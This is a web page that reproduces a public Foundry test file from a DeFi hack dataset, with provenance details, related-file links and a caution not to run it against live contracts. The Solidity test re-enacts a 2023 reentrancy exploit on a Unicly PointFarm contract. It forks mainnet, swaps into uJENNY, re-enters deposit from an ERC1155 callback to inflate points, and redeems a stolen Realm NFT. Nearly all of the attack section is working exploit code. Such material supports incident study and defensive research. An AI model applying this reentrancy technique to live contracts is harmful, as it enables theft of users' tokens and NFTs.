Public reproduction file
src/test/2023-09/uniclyNFT_exp.sol
Public reproduction file for dataset entry uniclyNFT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : 1 NFT (ID: 4689)8// Attacker : https://etherscan.io/address/0x92cfcb70b2591ceb1e3c6d90e21e8154e7d298329// Attacker Contract : https://etherscan.io/address/0x9d9820f10772ffcef842770b6581c07a97fed9e410// Vulnerable Contract : https://etherscan.io/address/0xd3c41c85be295607e8ea5c58487ec5894300ee6711// Attack Tx : https://etherscan.io/tx/0xc42fe1ce2516e125a386d198703b2422aa0190b25ef6a7b0a1d3c6f5d199ffad13// @Analysis14// https://twitter.com/DecurityHQ/status/170309611604742186316interface IPointFarm {17 function balanceOf(address account, uint256 id) external view returns (uint256);19 function setApprovalForAll(address operator, bool _approved) external;21 function deposit(uint256 _pid, uint256 _amount) external;23 function withdraw(uint256 _pid, uint256 _amount) external;24}26interface IPointShop {27 function redeem(address _uToken, uint256 internalID) external;28}30contract ContractTest is Test {31 IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);32 IERC20 private constant uJENNY = IERC20(0xa499648fD0e80FD911972BbEb069e4c20e68bF22);33 Uni_Pair_V2 private constant uJENNY_WETH = Uni_Pair_V2(0xEC5100AD159F660986E47AFa0CDa1081101b471d);34 IPointFarm private constant PointFarm = IPointFarm(0xd3C41c85bE295607E8EA5c58487eC5894300ee67);35 IPointShop private constant PointShop = IPointShop(0xcDCc535503CBA9286489b338b36156b4b75008f6);36 IERC721 private constant Realm = IERC721(0x7AFe30cB3E53dba6801aa0EA647A0EcEA7cBe18d);38 function setUp() public {39 vm.createSelectFork("mainnet", 18_133_171);40 vm.label(address(WETH), "WETH");41 vm.label(address(uJENNY), "uJENNY");42 vm.label(address(uJENNY_WETH), "uJENNY_WETH");43 vm.label(address(PointFarm), "PointFarm");44 vm.label(address(PointShop), "PointShop");45 vm.label(address(Realm), "Realm");46 }48 function testExploit() public {49 // Start with the below amount of WETH50 deal(address(WETH), address(this), 500e15);51 // Preparation phase52 uJENNY.approve(address(PointFarm), type(uint256).max);53 WETHToUJENNY();54 uint256 amtuJENNY = uJENNY.balanceOf(address(this));55 PointFarm.deposit(0, uJENNY.balanceOf(address(this)));56 // Wait ~2 days57 vm.roll(18_149_401);58 // Attack59 emit log_named_uint("Attacker Realm NFT balance before attack", Realm.balanceOf(address(this)));60 // Reentrancy here. Inflate the attacker balance of PointFarm to redeem Realm NFT later from PointShop61 PointFarm.deposit(0, 0);62 // Getting initial deposit (preparation phase) back63 PointFarm.withdraw(0, amtuJENNY);64 UJENNYToWETH(amtuJENNY);66 // Getting NFT from PointShop67 PointFarm.setApprovalForAll(address(PointShop), true);68 PointShop.redeem(address(uJENNY), 0);70 emit log_named_decimal_uint(71 "Attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()72 );73 // 4689 - id of the stolen NFT74 assertEq(Realm.ownerOf(4689), address(this));75 emit log_named_uint("Attacker Realm NFT balance after attack", Realm.balanceOf(address(this)));76 }78 function WETHToUJENNY() internal {79 (uint112 reserveuJENNY, uint112 reserveWETH,) = uJENNY_WETH.getReserves();80 uint256 amountOut = calcAmountOut(reserveuJENNY, reserveWETH, WETH.balanceOf(address(this)));81 WETH.transfer(address(uJENNY_WETH), WETH.balanceOf(address(this)));82 uJENNY_WETH.swap(amountOut, 0, address(this), bytes(""));83 }85 function UJENNYToWETH(86 uint256 amount87 ) internal {88 (uint112 reserveuJENNY, uint112 reserveWETH,) = uJENNY_WETH.getReserves();89 uint256 amountOut = calcAmountOut(reserveWETH, reserveuJENNY, amount);90 uJENNY.transfer(address(uJENNY_WETH), amount);91 uJENNY_WETH.swap(0, amountOut, address(this), bytes(""));92 }94 function calcAmountOut(uint256 reserve1, uint256 reserve2, uint256 tokenAmount) internal pure returns (uint256) {95 uint256 a = tokenAmount * 997;96 uint256 b = a * reserve1;97 uint256 c = reserve2 * 1000;98 return b / (a + c);99 }101 function onERC1155Received(102 address operator,103 address from,104 uint256 id,105 uint256 value,106 bytes calldata data107 ) external returns (bytes4) {108 uint256 pointFarmBalance = PointFarm.balanceOf(address(this), 0);109 if (pointFarmBalance <= 10_000) {110 PointFarm.deposit(0, 0);111 }112 return this.onERC1155Received.selector;113 }115 function onERC721Received(116 address operator,117 address from,118 uint256 tokenId,119 bytes calldata data120 ) external returns (bytes4) {121 return this.onERC721Received.selector;122 }124 receive() external payable {}125}Analysis
Dataset entry
Public Foundry test for “uniclyNFT” (2023-09-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
- src/test/2023-09/APIG_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/BFCToken_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/CEXISWAP_exp.solSame month in the dataset · 77 lines
- src/test/2023-09/DAppSocial_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/DEXRouter_exp.solSame month in the dataset · 55 lines
- src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
- src/test/2023-09/FloorDAO_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/HeavensGate_exp.solSame month in the dataset · 97 lines
- src/test/2023-09/JumpFarm_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/Kub_Split_exp.solSame month in the dataset · 226 lines
- src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
- src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x92cfcb70b2591ceb1e3c6d90e21e8154e7d29832
- Attacker
0x9d9820f10772ffcef842770b6581c07a97fed9e4
- Vulnerable Contract
0xd3c41c85be295607e8ea5c58487ec5894300ee67
- Attack Tx
0xc42fe1ce2516e125a386d198703b2422aa0190b25ef6a7b0a1d3c6f5d199ffad
- Explorer: https://etherscan.io/address/0x92cfcb70b2591ceb1e3c6d90e21e8154e7d29832
- Explorer: https://etherscan.io/address/0x9d9820f10772ffcef842770b6581c07a97fed9e4
- Explorer: https://etherscan.io/address/0xd3c41c85be295607e8ea5c58487ec5894300ee67
- Reference: https://twitter.com/DecurityHQ/status/1703096116047421863
File record
- Name
- uniclyNFT
- Path
- src/test/2023-09/uniclyNFT_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 03e4ad778c942228bbd43f43348ed5b5e6950715
- Language
- Solidity
- Size
- 126 lines
- Date
- 2023-09-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-09/uniclyNFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 03e4ad778c942228bbd43f43348ed5b5e6950715, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.